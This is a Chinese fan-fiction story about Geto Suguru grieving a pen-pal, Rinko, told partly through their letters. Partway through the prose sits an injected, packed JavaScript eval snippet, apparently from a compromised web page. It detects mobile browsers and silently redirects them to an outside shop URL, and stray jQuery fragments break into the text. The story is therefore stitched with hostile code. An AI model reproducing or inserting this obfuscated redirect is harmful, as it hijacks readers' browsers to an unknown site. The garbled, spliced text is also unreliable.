咚——
咚——
咚——
远处的蝉鸣声在空间传播中发生畸变,他只能听到激荡的定音鼓声,一下、一下,鼓槌正用力敲击着自己的心室。
脆弱的心不堪一击。褶皱,凹陷,直至砸出个深坑。
缺失的感觉以心脏为中心,向四周蔓延开来。
胃率先受到刺激。
他不由自主开始想要干呕,那是一种内部被冲撞着、想要逃离身体而去的向上探寻。
然后是眼睛。
尘粒压弯了睫毛,落入瞳孔,他越想看清文字却越发模糊。
接着四肢不受控制。
他想要同以往一样将信纸折回收好,却连弯腰捡起从指尖滑落的信封都无法做到。
最后接收反常的感知信号。
黏腻的热已不再,取而代之的是滞涩的寒。
这是他第一次直面近友的死亡。
他更讨厌夏天了。
这个季节似乎总要生出些什么,用诡谲和幽玄冲撞走燥热,暗敷巡礼、五山送火、百物语......以及,死亡。
亲友的死亡就像一场突如其来的酸雨,打得人手足无措。仓皇躲过后红肿瘙痒的皮肤开始发炎、结痂,最后留下黯淡的一道疤。
即使好全到看不出任何痕迹,每每想起都会条件反射开始抓挠,那是留在心上的炎症。
他当然知道,这是凛子的第一次重生,她仍然还有第二次、第三次......甚至如果可能,他还会再经历六次她的死亡。
可知道所有道理的人尚且过不好这一生,何况他呢。
就像是消防演习的充气垫,站在平地时只觉充完气膨胀开来比人还高,暗自在心底嘲笑这有何难;等到站在楼顶才意识到,还好没有将那一番话说与旁人听。
小瞧生命的人会被死亡痛击的啊。
他们都是。
那一刻她想的,究竟是把自己的机会让给别人,还是说,以这样的形式结束也不赖?
他不敢细想,只希望如果一定要选择的话,最好还是前者。
前者更符合她一贯的作风不是么?把自己排在最后一位,等到四周再无旁人才会开始爱惜自己。
夏油杰说不出那种感觉,自己究竟是在为她的舍己而恨铁不成钢,还是因为她对那个世界的人们如此宽容、却对自己如此严苛而忿忿不平。
多少也看看离自己最近的那个人吧。
他也在笨拙地收起尖刺,尝试袒露自己啊。
总不能看也不看就...抽身而退吧。
他下意识地抗拒着,不愿意相信后者存在的可能性。
她可能灰心了,可能放弃了,放弃继续使用接下来的六次机会,放弃与自己继续联络的可能性。
但凡她收到了前一封回信,他都不会冒出这个念头。
可她并没有收到,那封由别人转交的信件已经说明了这一点。
降谷零并不相信她死意全无,他也不相信。
与其说是写给他的信件,倒不如说是一份她的隐秘日记更合适,而他只是恰巧目睹其中内容的路人,并经由主人同意继续阅读了下去。
毕竟谁会在日记里写真心话啊。*
可是......
如果她回来了呢......?
她再次打开信箱的时候,如果还没收到“答案”的话,换做是谁都会彻底死心吧?
即使对方已经回信,在阴差阳错之间。
这比对方直接宣告自己不及格还要难以接受。
至少不及格自己还能有补考的机会,错过申诉机会自己则要永远挂科了。
他坚定了自己的想法,即使那只是其中的一种可能而已。
「没事,我已经习惯了等待。」
---
凛子,见信如晤。
这个夏天对我来说十分漫长。
咒高的学生在暑假也无法完全丢下包袱享受假期,我们仍然要继续执行任务,同时兼顾日常训练。
悟反倒很喜欢夏天,对他来说夏天多半等同于甜点的季节限定时间吧?每次出完任务都要拉着我陪他去买各个店铺的限定水信玄饼,甚至列好清单要把所有口味一网打尽。那家伙真是离不开甜点,一年级的冰箱里大半全是他塞满的各式糕点,甚至每回打开时都有些许变化。顺带一提,到了夏天糕点就换成了棒冰和霜淇淋。
硝子则完全变成了宅派人士。因为反转术式的特殊性,平时基本都在咒高内部活动,这下更是如非必要绝不外出了。趁此机会问了下她是如何领悟反转术式的,嗯......结果不提也罢。
啊对,悟全名为五条悟,就是照片中的白发墨镜男。硝子全名家入硝子,是同期里的那位女生。
我也并非夏天主义者。夏天总是伴随浓烈的情感到来,会导致格外多的咒灵产生,在暴晒下加班,任谁都喜欢不起来吧?
更何况对我来说,收伏咒灵需要将其压缩成咒灵球吞下去。你不会想要尝试的,那种擦拭过呕吐物后阴干的臭抹布味,比比多味豆的创始人都难以想象这么猎奇的味道吧?
...
抱歉。
对于那个问题的答案,我直到现在再告诉你。
或许这番解释听起来会像是在自我辩解,但我仍然想要将最真实的想法传达给你。
我想,我应该两者皆有。我还没有准备好袒露自己,于是选择有所保留。
很狼狈啊,被冥冥前辈戳穿伪装的样子。
人总会下意识为自己辩解,其实自己什么都知道,只是不愿意承认:
承认自己被下面子,硬着脖子不肯低头,用一堆借口来做掩饰。
可能你会不解,将真实的自己展露出来有这么困难么?或许对于勇敢者来说并非难事,可我是胆小鬼。
胆小鬼会用生气来掩饰心虚,即使被说中真实想法也气恼为什么对方挑破窗纸。
胆小鬼会用问题来回答问题,被提问时怀疑对方是否在小题大做。
胆小鬼会轻易缩回自己的龟壳里,任何锋利的言语都是逃避的借口。
即使如此,胆小鬼也很珍惜任何关系的缔结,他真正拥有的太少,所以不愿意失去任何一段情谊。
可是胆小鬼他总在最后一刻才醒悟过来,可一切发生得太快,快到来不及让对方听到自己的回答。
所以,如果还有机会,如果你还能看到这封信的话,
你能接受来自胆小鬼的道歉么?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096532|195633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杰
---
一切回归平常。
在递出回信之后。
他继续着任务现场-咒高两点一线的暑假生活,继续和悟、硝子一起嬉笑打闹,没任务时一起躲在有空调的活动室里吹冷风。
只是他去储物柜的次数多了些,相比以往而言。
即使那只蝇头仍然在那里尽职尽责完成主人安排的唯一任务,他依然会过去看一眼。
出完任务后,从活动室出来时,回宿舍前,偶尔失眠溜达中,体能训练计划内。
即使那里空空如也,一丝一毫都不曾出现。
他开始理解瓶中的魔鬼为什么会恨上解除封蜡的渔夫了。
时间会消磨一切初始的情欲,期盼、祈求、卑躬屈膝,甚至到了不惜将一整颗真心双手奉上。
到最后留下的,只剩怨怼了。
恨对方打开了瓶塞,恨他来得这么迟,恨渔夫在他死心后又如救世主降临,恨自己思绪横飞尽做些虚无缥缈的白日梦、卑微到了失去自我。
但他不是并非瓶中魔鬼,他不会怨恨渔夫的出现。相反,无论渔夫何时出现,他都会为之欣喜若狂。
正如,此时此刻,在他打开储物箱的一瞬间,感官充盈到了顶峰。
蝇头传递过来的电波、目睹信件凭空掉落的视觉、感知到纸张肌理的触觉、掉落声被无限放大的听觉,一起向他奔涌而来。
出现了。
期待中的信件。
但是...和以往收信的信封大小完全不一样。
这回的明显小了一圈,外面不知道是一种设计还是什么的,被黑白字符环绕着。
....不是凛子的风格。
是其他人的来信,不是凛子的?
难道是那个世界的某人误投进了这个储物柜?
似乎她之前提到过,会有人用她那边的储物柜作为中转站的来着。
...
不管了。
是什么都好,先看了再说。
不是凛子的来信我看完就原地销毁,我保证。
提前和你说一声抱歉了,看了你的秘密。
---
S:
既然你诚心诚意地发问了,那么凛子大人就大发慈悲地原谅你吧。
R
---
这是一封不算回信的回信。
信封外面有着被画叉的打印内容,写着些面向学生的告知书,多半是被再利用来当草稿的废纸。
信封本身就是信纸——A4大小的纸张左右向内折叠成为边缝;内容写在中间;上下部分对折,勉强被透明胶盖住仅供收发信件双发阅览的文字。*
记号笔的墨水轻易渗透纸张,从背面仔细辨认也能看出到底写了哪些。
中央仓促写下的字迹歪歪扭扭,一大一小间隔排列着,与其说是写出来的,倒不如更像是涂鸦画。
一看就是手指无力、尚未能掌握发力技巧的孩童写出来的。
简短的内容只用一眼便能扫完,甚至没有背面的印刷体字样更值得研究。
可夏油杰看完后却认真将其恢复回原来的样子,上扬的嘴角再也没下来过,觉得无比畅快。
他的暑假终于结束了。